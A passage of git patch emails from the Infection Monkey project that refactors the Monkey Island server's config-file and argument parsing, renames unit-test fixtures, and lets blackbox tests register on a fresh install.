import main # noqa: E402 - main(setup_params.data_dir, setup_params.setup_only, setup_params.server_config_path) + main(setup_params) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index cf56144ed06..549504218d9 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -9,6 +9,8 @@ # "monkey_island." work. from gevent.pywsgi import WSGIServer +from monkey_island.setup.setup_params import SetupParams + MONKEY_ISLAND_DIR_BASE_PATH = str(Path(__file__).parent.parent) if str(MONKEY_ISLAND_DIR_BASE_PATH) not in sys.path: sys.path.insert(0, MONKEY_ISLAND_DIR_BASE_PATH) @@ -24,7 +26,6 @@ from monkey_island.cc.database import is_db_server_up # noqa: E402 from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402 from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 -from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH # noqa: E402 from monkey_island.cc.server_utils.encryptor import initialize_encryptor # noqa: E402 from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 @@ -34,16 +35,12 @@ MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0" -def main( - data_dir, - should_setup_only=False, - server_config_filename=DEFAULT_SERVER_CONFIG_PATH, -): +def main(setup_params: SetupParams): logger.info("Starting bootloader server") - env_singleton.initialize_from_file(server_config_filename) - initialize_encryptor(data_dir) - initialize_services(data_dir) + env_singleton.initialize_from_file(setup_params.server_config_path) + initialize_encryptor(setup_params.data_dir) + initialize_services(setup_params.data_dir) mongo_url = os.environ.get("MONGO_URL", env_singleton.env.get_mongo_url()) bootloader_server_thread = Thread( @@ -51,7 +48,7 @@ def main( ) bootloader_server_thread.start() - start_island_server(should_setup_only) + start_island_server(setup_params.setup_only) bootloader_server_thread.join() From 6eb377858ddd30f6322d4bce8df4e5cebe84c02d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 20 May 2021 14:38:29 +0300 Subject: [PATCH 0523/1360] Added unit test refactoring into the CHANGELOG.md --- CHANGELOG.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index bf105794e12..3021263d47c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -30,6 +30,9 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Authentication mechanism to use bcrypt on server side. #1139 - `server_config.json` puts environment config options in a separate section named "environment". #1161 +- Improved the structure of unit tests by scoping fixtures only to relevant modules + instead of having a one huge fixture file, improved and renamed the directory + structure of unit tests and unit test infrastructure. #1178 ### Removed - Relevant dead code as reported by Vulture. #1149 From 488143b1d3a052289365099c21fe7aede31c7382 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 20 May 2021 08:42:51 +0300 Subject: [PATCH 0524/1360] BB tests: added the ability for BB tests to "register". If they need registration to run monkeys, BB tests selects passwordless option --- .../island_client/monkey_island_requests.py | 30 ++++++++++++++----- 1 file changed, 22 insertions(+), 8 deletions(-) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index f7be1b3cfbd..8e8392b9e5e 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -12,6 +12,10 @@ LOGGER = logging.getLogger(__name__) +class AuthenticationFailedError(Exception): + pass + + # noinspection PyArgumentList class MonkeyIslandRequests(object): def __init__(self, server_address): @@ -43,6 +47,9 @@ def send_request_by_method(self, url, method=SupportedRequestMethod.GET, data=No def try_get_jwt_from_server(self): try: return self.get_jwt_from_server() + except AuthenticationFailedError: + self.try_set_island_to_no_password() + return self.get_jwt_from_server() except requests.ConnectionError as err: LOGGER.error( "Unable to connect to island, aborting! Error information: {}. Server: {}".format( @@ -51,6 +58,21 @@ def try_get_jwt_from_server(self): ) assert False + def get_jwt_from_server(self): + resp = requests.post( # noqa: DUO123 + self.addr + "api/auth", + json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS}, + verify=False, + ) + if resp.status_code == 401: + raise AuthenticationFailedError + return resp.json()["access_token"] + + def try_set_island_to_no_password(self): + requests.patch( # noqa: DUO123 + self.addr + "api/environment", json={"server_config": "standard"}, verify=False + ) + class _Decorators: @classmethod def refresh_jwt_token(cls, request_function): @@ -62,14 +84,6 @@ def request_function_wrapper(self, *args, **kwargs): return request_function_wrapper - def get_jwt_from_server(self): - resp = requests.post( # noqa: DUO123 - self.addr + "api/auth", - json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS}, - verify=False, - ) - return resp.json()["access_token"] - @_Decorators.refresh_jwt_token def get(self, url, data=None): return requests.get( # noqa: DUO123 From af049b468b4c4156f69dc8d84952a47ba89ffce3 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 20 May 2021 08:44:12 +0300 Subject: [PATCH 0525/1360] BB tests: removed island connectivity test. Now the connection is tested in fixture and if anything goes wrong tests are not launched --- envs/monkey_zoo/blackbox/test_blackbox.py | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 20f4951514c..2fe39a399e6 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -98,7 +98,15 @@ def wait_machine_bootup(): @pytest.fixture(scope="class") def island_client(island, quick_performance_tests): - island_client_object = MonkeyIslandClient(island) + client_established = False + try: + island_client_object = MonkeyIslandClient(island) + client_established = island_client_object.get_api_status() + except Exception: + logging.exception("message") + finally: + if not client_established: + pytest.exit("BB tests couldn't establish communication to the island.") if not quick_performance_tests: island_client_object.reset_env() yield island_client_object @@ -158,10 +166,6 @@ def run_performance_test( def get_log_dir_path(): return os.path.abspath(LOG_DIR_PATH) - def test_server_online(self, island_client): - if not island_client.get_api_status(): - pytest.exit("BB tests couldn't reach the Island server, quiting.") - def test_ssh_exploiter(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, Ssh, "SSH_exploiter_and_keys") From cc365a74c54d484c5af450d3907d68653aac86b0 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 20 May 2021 16:45:26 +0300 Subject: [PATCH 0526/1360] Added a CHANGELOG.md entry about BB tests being able to self-register --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 3021263d47c..aa2a96cb06b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -30,6 +30,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Authentication mechanism to use bcrypt on server side. #1139 - `server_config.json` puts environment config options in a separate section named "environment". #1161 +- BlackBox tests can now register if they are ran on a fresh installation. #1180 - Improved the structure of unit tests by scoping fixtures only to relevant modules instead of having a one huge fixture file, improved and renamed the directory structure of unit tests and unit test infrastructure. #1178 From 49e63fcf1b77f7efd56fce4c0710018569f71f97 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 21 May 2021 08:41:28 +0300 Subject: [PATCH 0527/1360] Improve exception message, thrown when trying to establish connection to island in BB tests --- envs/monkey_zoo/blackbox/test_blackbox.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 2fe39a399e6..5ee5f63c7e3 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -103,7 +103,7 @@ def island_client(island, quick_performance_tests): island_client_object = MonkeyIslandClient(island) client_established = island_client_object.get_api_status() except Exception: - logging.exception("message") + logging.exception("Got an exception while trying to establish connection to the Island.") finally: if not client_established: pytest.exit("BB tests couldn't establish communication to the island.") From a17c01c7ee6fca980aa240e5fe286ca22aa5f1c5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 21 May 2021 11:20:54 +0300 Subject: [PATCH 0528/1360] Improved readability in arg_parser.py --- monkey/monkey_island/cc/arg_parser.py | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/arg_parser.py b/monkey/monkey_island/cc/arg_parser.py index 338db153da0..457ffbac254 100644 --- a/monkey/monkey_island/cc/arg_parser.py +++ b/monkey/monkey_island/cc/arg_parser.py @@ -1,13 +1,21 @@ -from dataclasses import dataclass +from monkey_island.cc.server_utils.consts import ( + DEFAULT_SERVER_CONFIG_PATH, + DEFAULT_SHOULD_SETUP_ONLY, +) -@dataclass -class IslandArgs: - setup_only: bool - server_config_path: str +class IslandCmdArgs: + setup_only: bool = DEFAULT_SHOULD_SETUP_ONLY + server_config_path: str = DEFAULT_SERVER_CONFIG_PATH + def __init__(self, setup_only: None, server_config_path: None): + if setup_only: + self.setup_only = setup_only + if server_config_path: + self.server_config_path = server_config_path -def parse_cli_args() -> IslandArgs: + +def parse_cli_args() -> IslandCmdArgs: import argparse parser = argparse.ArgumentParser( @@ -27,4 +35,4 @@ def parse_cli_args() -> IslandArgs: ) args = parser.parse_args() - return IslandArgs(args.setup_only, args.server_config) + return IslandCmdArgs(args.setup_only, args.server_config) From 9cffb9e9d1d977cd8b5c6b60004e45668ca5e826 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 21 May 2021 11:26:02 +0300 Subject: [PATCH 0529/1360] Refactored `SetupParams` into IslandConfigOptions and altered setup workflow to use it --- monkey/monkey_island.py | 14 ++++---- monkey/monkey_island/cc/main.py | 13 ++++--- monkey/monkey_island/config_file_parser.py | 8 ++++- .../setup/island_config_options.py | 30 ++++++++++++++++ .../setup/setup_param_factory.py | 34 ------------------- monkey/monkey_island/setup/setup_params.py | 18 ---------- whitelist.py | 2 +- 7 files changed, 50 insertions(+), 69 deletions(-) create mode 100644 monkey/monkey_island/setup/island_config_options.py delete mode 100644 monkey/monkey_island/setup/setup_param_factory.py delete mode 100644 monkey/monkey_island/setup/setup_params.py diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 7f21bb0b40d..59ac8301a11 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -1,8 +1,8 @@ from gevent import monkey as gevent_monkey from monkey_island.cc.arg_parser import parse_cli_args -from monkey_island.config_file_parser import load_server_config_from_file -from monkey_island.setup.setup_param_factory import SetupParamFactory +from monkey_island.config_file_parser import load_island_config_from_file +from monkey_island.setup.island_config_options import IslandConfigOptions gevent_monkey.patch_all() @@ -12,15 +12,13 @@ if "__main__" == __name__: island_args = parse_cli_args() - config_contents = load_server_config_from_file(island_args.server_config_path) - - setup_params = SetupParamFactory().build(island_args, config_contents) + config_options = IslandConfigOptions() try: - # This is here in order to catch EVERYTHING, some functions are being called on # imports, so the log init needs to be first. - setup_logging(setup_params.data_dir, setup_params.log_level) + config_options = load_island_config_from_file(island_args.server_config_path) + setup_logging(config_options.data_dir, config_options.log_level) except OSError as ex: print(f"Error opening server config file: {ex}") @@ -32,4 +30,4 @@ from monkey_island.cc.main import main # noqa: E402 - main(setup_params) + main(island_args.setup_only, island_args.server_config_path, config_options) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index 549504218d9..b9dd9b19740 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -9,7 +9,7 @@ # "monkey_island." work. from gevent.pywsgi import WSGIServer -from monkey_island.setup.setup_params import SetupParams +from monkey_island.setup.island_config_options import IslandConfigOptions MONKEY_ISLAND_DIR_BASE_PATH = str(Path(__file__).parent.parent) if str(MONKEY_ISLAND_DIR_BASE_PATH) not in sys.path: @@ -35,12 +35,11 @@ MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0" -def main(setup_params: SetupParams): - logger.info("Starting bootloader server") +def main(setup_only: bool, server_config_path: str, config_options: IslandConfigOptions): - env_singleton.initialize_from_file(setup_params.server_config_path) - initialize_encryptor(setup_params.data_dir) - initialize_services(setup_params.data_dir) + env_singleton.initialize_from_file(server_config_path) + initialize_encryptor(config_options.data_dir) + initialize_services(config_options.data_dir) mongo_url = os.environ.get("MONGO_URL", env_singleton.env.get_mongo_url()) bootloader_server_thread = Thread( @@ -48,7 +47,7 @@ def main(setup_params: SetupParams): ) bootloader_server_thread.start() - start_island_server(setup_params.setup_only) + start_island_server(setup_only) bootloader_server_thread.join() diff --git a/monkey/monkey_island/config_file_parser.py b/monkey/monkey_island/config_file_parser.py index 78a621ab22b..c7aa4f146df 100644 --- a/monkey/monkey_island/config_file_parser.py +++ b/monkey/monkey_island/config_file_parser.py @@ -2,9 +2,15 @@ from os.path import isfile from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH +from monkey_island.setup.island_config_options import IslandConfigOptions -def load_server_config_from_file(server_config_path: str) -> dict: +def load_island_config_from_file(server_config_path: str) -> IslandConfigOptions: + config_contents = read_config_file(server_config_path) + return IslandConfigOptions.build_from_config_file_contents(config_contents) + + +def read_config_file(server_config_path: str) -> dict: if not server_config_path or not isfile(server_config_path): server_config_path = DEFAULT_SERVER_CONFIG_PATH with open(server_config_path, "r") as f: diff --git a/monkey/monkey_island/setup/island_config_options.py b/monkey/monkey_island/setup/island_config_options.py new file mode 100644 index 00000000000..ce4a96f7b33 --- /dev/null +++ b/monkey/monkey_island/setup/island_config_options.py @@ -0,0 +1,30 @@ +from __future__ import annotations + +from dataclasses import dataclass + +from monkey_island.cc.server_utils.consts import ( + DEFAULT_DATA_DIR, + DEFAULT_LOG_LEVEL, + DEFAULT_START_MONGO_DB, +) + + +@dataclass +class IslandConfigOptions: + log_level = DEFAULT_LOG_LEVEL + data_dir = DEFAULT_DATA_DIR + start_mongodb = DEFAULT_START_MONGO_DB + + @staticmethod + def build_from_config_file_contents(config_contents: dict) -> IslandConfigOptions: + config = IslandConfigOptions() + if "data_dir" in config_contents: + config.data_dir = config_contents["data_dir"] + + if "log_level" in config_contents: + config.log_level = config_contents["log_level"] + + if "mongodb" in config_contents and "start_mongodb" in config_contents["mongodb"]: + config.start_mongodb = config_contents["mongodb"]["start_mongodb"] + + return config diff --git a/monkey/monkey_island/setup/setup_param_factory.py b/monkey/monkey_island/setup/setup_param_factory.py deleted file mode 100644 index 32b1b60dbff..00000000000 --- a/monkey/monkey_island/setup/setup_param_factory.py +++ /dev/null @@ -1,34 +0,0 @@ -import os - -from monkey_island.cc.arg_parser import IslandArgs -from monkey_island.setup.setup_params import SetupParams - - -class SetupParamFactory: - def __init__(self): - self.setup_params = SetupParams() - - def build(self, cmd_args: IslandArgs, config_contents: dict) -> SetupParams: - - self._update_by_cmd_args(cmd_args) - self._update_by_config_file(config_contents) - - return self.setup_params - - def _update_by_cmd_args(self, cmd_args: IslandArgs): - if type(cmd_args.setup_only) == bool: - self.setup_params.setup_only = cmd_args.setup_only - - if cmd_args.server_config_path: - self.setup_params.server_config_path = os.path.expanduser(cmd_args.server_config_path) - - def _update_by_config_file(self, config_contents: dict): - - if "data_dir" in config_contents: - self.setup_params.data_dir = config_contents["data_dir"] - - if "log_level" in config_contents: - self.setup_params.log_level = config_contents["log_level"] - - if "mongodb" in config_contents and "start_mongodb" in config_contents["mongodb"]: - self.setup_params.start_mongodb = config_contents["mongodb"]["start_mongodb"] diff --git a/monkey/monkey_island/setup/setup_params.py b/monkey/monkey_island/setup/setup_params.py deleted file mode 100644 index c302c7fc089..00000000000 --- a/monkey/monkey_island/setup/setup_params.py +++ /dev/null @@ -1,18 +0,0 @@ -from dataclasses import dataclass - -from monkey_island.cc.server_utils.consts import ( - DEFAULT_DATA_DIR, - DEFAULT_LOG_LEVEL, - DEFAULT_SERVER_CONFIG_PATH, - DEFAULT_SHOULD_SETUP_ONLY, - DEFAULT_START_MONGO_DB, -) - - -@dataclass -class SetupParams: - server_config_path = DEFAULT_SERVER_CONFIG_PATH - log_level = DEFAULT_LOG_LEVEL - data_dir = DEFAULT_DATA_DIR - start_mongodb = DEFAULT_START_MONGO_DB - setup_only = DEFAULT_SHOULD_SETUP_ONLY diff --git a/whitelist.py b/whitelist.py index bd147220ae9..51d4c22b8cb 100644 --- a/whitelist.py +++ b/whitelist.py @@ -165,7 +165,7 @@ IBM # unused variable (monkey/common/cloud/environment_names.py:11) DigitalOcean # unused variable (monkey/common/cloud/environment_names.py:12) _.aws_info # unused attribute (monkey/monkey_island/cc/environment/aws.py:13) - +build_from_config_file_contents # unused method 'build_from_config_file_contents' (\monkey_island\setup\island_config_options.py:18) # these are not needed for it to work, but may be useful extra information to understand what's going on WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23) From 2621458b37e7543af7fa81a1c9b084f869c0cfb7 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 21 May 2021 11:49:33 +0300 Subject: [PATCH 0530/1360] Refactored tests to test config file parsing and IslandConfig param extraction --- .../server_configs/server_config_empty.json | 2 ++ ...onfig.json => server_config_init_only.json} | 0 .../cc/setup/test_setup_param_factory.py | 16 ---------------- .../tests/unit_tests/monkey_island/conftest.py | 9 +++++++-- .../monkey_island/test_config_file_parser.py | 18 +++++++++--------- 5 files changed, 18 insertions(+), 27 deletions(-) create mode 100644 monkey/tests/data_for_tests/server_configs/server_config_empty.json rename monkey/tests/data_for_tests/server_configs/{test_server_config.json => server_config_init_only.json} (100%) delete mode 100644 monkey/tests/unit_tests/monkey_island/cc/setup/test_setup_param_factory.py diff --git a/monkey/tests/data_for_tests/server_configs/server_config_empty.json b/monkey/tests/data_for_tests/server_configs/server_config_empty.json new file mode 100644 index 00000000000..2c63c085104 --- /dev/null +++ b/monkey/tests/data_for_tests/server_configs/server_config_empty.json @@ -0,0 +1,2 @@ +{ +} diff --git a/monkey/tests/data_for_tests/server_configs/test_server_config.json b/monkey/tests/data_for_tests/server_configs/server_config_init_only.json similarity index 100% rename from monkey/tests/data_for_tests/server_configs/test_server_config.json rename to monkey/tests/data_for_tests/server_configs/server_config_init_only.json diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_setup_param_factory.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_setup_param_factory.py deleted file mode 100644 index d8ea9692ed9..00000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_setup_param_factory.py +++ /dev/null @@ -1,16 +0,0 @@ -from monkey_island import config_file_parser -from monkey_island.cc.arg_parser import IslandArgs -from monkey_island.setup.setup_param_factory import SetupParamFactory - -MOCK_ISLAND_CMD_ARGS = IslandArgs(setup_only=True, server_config_path="/temp/test_path") - - -def test_setup_param_factory_build(monkeypatch, test_server_config): - config_contents = config_file_parser.load_server_config_from_file(test_server_config) - - setup_params = SetupParamFactory().build(MOCK_ISLAND_CMD_ARGS, config_contents) - assert setup_params.setup_only - assert setup_params.server_config_path == MOCK_ISLAND_CMD_ARGS.server_config_path - assert setup_params.start_mongodb - assert setup_params.log_level == "NOTICE" - assert setup_params.data_dir == "~/.monkey_island" diff --git a/monkey/tests/unit_tests/monkey_island/conftest.py b/monkey/tests/unit_tests/monkey_island/conftest.py index 4b7149595b8..4d0d48e1fc9 100644 --- a/monkey/tests/unit_tests/monkey_island/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/conftest.py @@ -9,5 +9,10 @@ def server_configs_dir(data_for_tests_dir): @pytest.fixture(scope="module") -def test_server_config(server_configs_dir): - return os.path.join(server_configs_dir, "test_server_config.json") +def server_config_init_only(server_configs_dir): + return os.path.join(server_configs_dir, "server_config_init_only.json") + + +@pytest.fixture(scope="module") +def server_config_empty(server_configs_dir): + return os.path.join(server_configs_dir, "server_config_empty.json") diff --git a/monkey/tests/unit_tests/monkey_island/test_config_file_parser.py b/monkey/tests/unit_tests/monkey_island/test_config_file_parser.py index 8a0bb3fffc0..db377e6e7f7 100644 --- a/monkey/tests/unit_tests/monkey_island/test_config_file_parser.py +++ b/monkey/tests/unit_tests/monkey_island/test_config_file_parser.py @@ -1,16 +1,16 @@ from monkey_island import config_file_parser +from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, DEFAULT_LOG_LEVEL -def test_load_server_config_from_file(test_server_config): - config = config_file_parser.load_server_config_from_file(test_server_config) +def test_load_server_config_from_file(server_config_init_only): + config = config_file_parser.load_island_config_from_file(server_config_init_only) - assert config["data_dir"] == "~/.monkey_island" - assert config["log_level"] == "NOTICE" + assert config.data_dir == "~/.monkey_island" + assert config.log_level == "NOTICE" -def test_load_server_config_from_file_default_path(monkeypatch, test_server_config): - monkeypatch.setattr(config_file_parser, "DEFAULT_SERVER_CONFIG_PATH", test_server_config) - config = config_file_parser.load_server_config_from_file("") +def test_load_server_config_from_file_empty_file(monkeypatch, server_config_empty): + config = config_file_parser.load_island_config_from_file(server_config_empty) - assert config["data_dir"] == "~/.monkey_island" - assert config["log_level"] == "NOTICE" + assert config.data_dir == DEFAULT_DATA_DIR + assert config.log_level == DEFAULT_LOG_LEVEL From 66b3fb1d4749646ca4673194ff44c60e2381cf7a Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 21 May 2021 12:10:24 +0300 Subject: [PATCH 0531/1360] Added boilerplate methods for mongodb launch. --- monkey/monkey_island/cc/main.py | 10 ++++++---- monkey/monkey_island/cc/{setup.py => mongo_setup.py} | 7 ++++++- 2 files changed, 12 insertions(+), 5 deletions(-) rename monkey/monkey_island/cc/{setup.py => mongo_setup.py} (94%) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index b9dd9b19740..21b1184471d 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -24,13 +24,13 @@ from monkey_island.cc.app import init_app # noqa: E402 from monkey_island.cc.database import get_db_version # noqa: E402 from monkey_island.cc.database import is_db_server_up # noqa: E402 +from monkey_island.cc.mongo_setup import init_collections, launch_mongodb # noqa: E402 from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402 from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 from monkey_island.cc.server_utils.encryptor import initialize_encryptor # noqa: E402 from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 -from monkey_island.cc.setup import setup # noqa: E402 MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0" @@ -47,11 +47,13 @@ def main(setup_only: bool, server_config_path: str, config_options: IslandConfig ) bootloader_server_thread.start() - start_island_server(setup_only) + start_island_server(setup_only, config_options) bootloader_server_thread.join() -def start_island_server(should_setup_only): +def start_island_server(should_setup_only, config_options: IslandConfigOptions): + if config_options.start_mongodb: + launch_mongodb() mongo_url = os.environ.get("MONGO_URL", env_singleton.env.get_mongo_url()) wait_for_mongo_db_server(mongo_url) assert_mongo_db_version(mongo_url) @@ -62,7 +64,7 @@ def start_island_server(should_setup_only): crt_path = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.crt")) key_path = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.key")) - setup() + init_collections() if should_setup_only: logger.warning("Setup only flag passed. Exiting.") diff --git a/monkey/monkey_island/cc/setup.py b/monkey/monkey_island/cc/mongo_setup.py similarity index 94% rename from monkey/monkey_island/cc/setup.py rename to monkey/monkey_island/cc/mongo_setup.py index a03c554be52..74cb29fc275 100644 --- a/monkey/monkey_island/cc/setup.py +++ b/monkey/monkey_island/cc/mongo_setup.py @@ -9,7 +9,12 @@ logger = logging.getLogger(__name__) -def setup(): +def launch_mongodb(): + # TODO: Implement the launch of mongodb process + pass + + +def init_collections(): logger.info("Setting up the Monkey Island, this might take a while...") try_store_mitigations_on_mongo() From 76d82cecea1aecb74076b28a6592f4b85f519dc3 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 12 May 2021 19:41:49 +0530 Subject: [PATCH 0532/1360] Create `data_dir` if no `--server-config` is passed during Monkey Island initialisation --- monkey/monkey_island.py | 7 +++++-- monkey/monkey_island/cc/arg_parser.py | 7 +------ monkey/monkey_island/cc/server_utils/consts.py | 7 ++++--- monkey/monkey_island/config_loader.py | 11 ++++++++++- 4 files changed, 20 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 650cfe95d81..958a1f529e7 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -16,7 +16,10 @@ # This is here in order to catch EVERYTHING, some functions are being called on # imports, so the log init needs to be first. try: - server_config_path = os.path.expanduser(island_args.server_config) + if island_args.server_config: + server_config_path = os.path.expanduser(island_args.server_config) + else: + server_config_path = config_loader.create_default_server_config_path() config = config_loader.load_server_config_from_file(server_config_path) @@ -32,4 +35,4 @@ from monkey_island.cc.main import main # noqa: E402 - main(config["data_dir"], island_args.setup_only, island_args.server_config) + main(config["data_dir"], island_args.setup_only, server_config_path) diff --git a/monkey/monkey_island/cc/arg_parser.py b/monkey/monkey_island/cc/arg_parser.py index 6e12ef38f36..98277623076 100644 --- a/monkey/monkey_island/cc/arg_parser.py +++ b/monkey/monkey_island/cc/arg_parser.py @@ -1,7 +1,5 @@ from dataclasses import dataclass -from monkey_island.cc.server_utils.consts import DEFAULT_SERVER_CONFIG_PATH - @dataclass class IslandArgs: @@ -25,10 +23,7 @@ def parse_cli_args() -> IslandArgs: "compiling/packaging Islands.", ) parser.add_argument( - "--server-config", - action="store", - help="The path to the server configuration file.", - default=DEFAULT_SERVER_CONFIG_PATH, + "--server-config", action="store", help="The path to the server configuration file." ) args = parser.parse_args() diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index f0dba26dc6b..1c0e53d8476 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -3,12 +3,13 @@ __author__ = "itay.mizeretz" MONKEY_ISLAND_ABS_PATH = os.path.join(os.getcwd(), "monkey_island") + +DEFAULT_DATA_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc") + DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS = 60 * 5 -DEFAULT_SERVER_CONFIG_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json") +DEFAULT_SERVER_CONFIG_PATH = os.path.join(DEFAULT_DATA_DIR, "server_config.json") DEFAULT_DEVELOP_SERVER_CONFIG_PATH = os.path.join( MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json.develop" ) - -DEFAULT_DATA_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc") diff --git a/monkey/monkey_island/config_loader.py b/monkey/monkey_island/config_loader.py index aaa9185d700..036be2c69c4 100644 --- a/monkey/monkey_island/config_loader.py +++ b/monkey/monkey_island/config_loader.py @@ -1,11 +1,20 @@ import json import os -from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR +import monkey_island.cc.environment.server_config_generator as server_config_generator +from monkey_island.cc.server_utils.consts import DEFAULT_DATA_DIR, DEFAULT_SERVER_CONFIG_PATH DEFAULT_LOG_LEVEL = "INFO" +def create_default_server_config_path(): + if not os.path.isfile(DEFAULT_SERVER_CONFIG_PATH): + if not os.path.isdir(DEFAULT_DATA_DIR): + os.mkdir(DEFAULT_DATA_DIR, mode=0o700) + server_config_generator.create_default_config_file(DEFAULT_SERVER_CONFIG_PATH) + return DEFAULT_SERVER_CONFIG_PATH + + def load_server_config_from_file(server_config_path): with open(server_config_path, "r") as f: config_content = f.read() From 82463416f85fad02212eb6d863d85f53b6a3db13 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 13 May 2021 15:07:02 +0530 Subject: [PATCH 0533/1360] Create data dir if `--server-config` is passed, "data_dir" field exists, but the dir doesn't exist --- monkey/monkey_island/cc/main.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/monkey/monkey_island/cc/main.py b/monkey/monkey_island/cc/main.py index cf56144ed06..497323f8b5c 100644 --- a/monkey/monkey_island/cc/main.py +++ b/monkey/monkey_island/cc/main.py @@ -41,6 +41,8 @@ def main( ): logger.info("Starting bootloader server") + create_data_dir(data_dir) + env_singleton.initialize_from_file(server_config_filename) initialize_encryptor(data_dir) initialize_services(data_dir) @@ -55,6 +57,11 @@ def main( bootloader_server_thread.join() +def create_data_dir(data_dir): + if not os.path.isdir(data_dir): + os.makedirs(data_dir, mode=0o700) + + def start_island_server(should_setup_only): mongo_url = os.environ.get("MONGO_URL", env_singleton.env.get_mongo_url()) wait_for_mongo_db_server(mongo_url) From 808e86df1a851ad37006db7ae5b4aaa2aecbb8b8 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 14 May 2021 17:08:55 +0530 Subject: [PATCH 0534/1360] Create data_dir before logger is set up --- monkey/monkey_island.py | 8 ++++++++ monkey/monkey_island/cc/main.py | 7 ------- 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index 958a1f529e7..31fa26382d7 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -10,6 +10,12 @@ from monkey_island import config_loader # noqa: E402 from monkey_island.cc.server_utils.island_logger import setup_logging # noqa: E402 + +def create_data_dir(data_dir): + if not os.path.isdir(data_dir): + os.makedirs(data_dir, mode=0o700) + + if "__main__" == __name__: island_args = parse_cli_args() @@ -23,6 +29,8 @@ config = config_loader.load_server_config_from_file(server_config_path) + create_data_dir(config["data_dir"]) + setup_logging(config["data_dir"], 